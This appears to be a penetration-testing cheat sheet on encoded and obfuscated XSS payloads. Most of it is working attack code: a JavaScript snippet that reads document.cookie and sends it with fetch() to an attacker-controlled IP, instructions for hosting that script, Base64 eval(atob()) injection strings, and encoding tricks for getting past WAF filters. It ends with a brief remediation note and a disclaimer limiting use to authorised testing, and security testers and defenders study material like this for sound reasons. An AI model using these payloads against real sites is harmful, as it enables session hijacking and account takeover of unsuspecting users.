XSS — Encoded & Obfuscated Payloads
Why Encoding?
WAFs and filters look for string signatures — <script>, alert(, document.cookie. Base64 encoding produces none of these. The browser decodes and executes it transparently.
The Cookie Exfil Payload
Step 1 — Create xss.js (your actual payload):
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("http://192.168.XX.XX/exfil?data=" + encodedCookie)
Step 2 — Start your server:
python3 -m http.server 80
Base64 Encoding
The script tag <script src="http://192.168.XX.XX/xss.js"></script> encoded in Base64:
PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LlhYLlhYL3h4cy5qcyI+PC9zY3JpcHQ+
Bypass Payloads
eval(atob()) — decode and execute Base64:
'+eval(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LlhYLlhYL3h4cy5qcyI+PC9zY3JpcHQ+'))+'
btoa(eval(atob())) — double-encode for extra evasion:
'+btoa(eval(atob('PHNjcmlwdCBzcmM9Imh0dHA6Ly8xOTIuMTY4LlhYLlhYL3h4cy5qcyI+PC9zY3JpcHQ+')))+'
How to Encode Your Own Payload
echo -n '<script src="http://192.168.XX.XX/xss.js"></script>' | base64
Then wrap it:
eval(atob('YOUR_BASE64_HERE'))
Other Encoding Tricks
// HTML entity encoding
<script>alert(1)</script>
// Unicode escape
\u003cscript\u003ealert(1)\u003c/script\u003e
// Hex
\x3cscript\x3ealert(1)\x3c/script\x3e
// Mixed case (bypasses case-sensitive filters)
<ScRiPt>alert(1)</ScRiPt>
Fix: Signature-based WAF rules are easily bypassed — never rely on them alone. The real fix is context-aware output encoding at the application layer. Use a templating engine that auto-escapes by default (Jinja2, Thymeleaf, React JSX).
All payloads documented for authorised security testing only. Do not use against systems without explicit written permission.